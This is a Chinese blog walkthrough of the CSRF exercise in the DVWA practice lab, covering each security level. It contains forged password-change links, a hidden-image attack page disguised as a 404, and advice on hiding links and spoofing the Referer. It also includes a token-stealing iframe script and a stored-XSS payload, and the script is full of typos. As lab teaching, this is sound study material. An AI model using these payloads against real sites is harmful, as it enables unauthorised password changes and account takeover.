dvwa之csrf

dvwa之csrf

low

1. 在新的页面中打开以下url,发现成功修改密码

http://192.168.43.116/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

(攻击中我打开了dvwa,所以我是用的自己的cookie点开了这个链接)

**2. **

有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。

B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):

如http://dwz.cn/****

1

因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接= =,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。

2

3.构造攻击页面

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

medium

增加了refer验证

 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.43.116),希望通过这种机制抵御CSRF攻击。

抓包发现我们构造的链接里没有refer,抓包修改refer

high

增加了token验证

 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php');

用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。

浏览器的同源策略

<html>
<head lang="en">
    <meta charest="UTF-8">
    <title></title>
    <script type= "text/javascript">
    fountion attack()
    { 	doucument.getElementsByName('user_token')[0].value=document.getElementsById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
    document.getElementById('transfer').submit();
     
     /*contentDocument 属性能够以 HTML 对象来返回 iframe 中的文档。可以通过所有标准的 DOM 方法来处理被返回的对象。*/
    }
   </script>
    </head>
    <body onload="attack()">
        <iframe src="http://dvwatansfer" id ="hack" stytle="style:none">
        </iframe>
        <form method="GET" id="transfer" action="http://dvwatransfer">
            <input type="hidden" name="password_new" value="admin" >
            <input type="hidden" name="password_conf" value="admin">
            <input type="hidden" name ="user_token" value="">
            <input type="hidden" name="Change" value="Change">
        </form>
    </body>
</html>

我们的框架iframe访问的地址是http://192.168.43.116/dvwa/vulnerabilities/csrf,位于服务器192.168.43.116上,而我们的攻击页面位于黑客服务器192.168.xx.xx上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于这里跨域是不能实现的,所以我们之前的想法以失败告终了。

在这里,我们要想获取到用户的token,并提交修改密码的表单的话,就必须得把我们的攻击脚本注入到目标服务器中 。而要想注入到目标服务器,同时得发挥作用,获取用户的 token修改密码的话,就得和XSS漏洞一起结合实现了。
我们将如下代码通过存储型XSS插入到数据库中,这语句会弹出用户的token

<iframe src="../csrf/" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>

src是csrf的(high),弹出的是其token

onload事件会在页面或图像加载完成后立即发生。常用于在页面完全载入后(包括图片、css文件等等)执行脚本代码。

impossible

要求输入原来的密码

src是csrf的(high),弹出的是其token

onload事件会在页面或图像加载完成后立即发生。常用于在页面完全载入后(包括图片、css文件等等)执行脚本代码。

impossible

要求输入原来的密码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值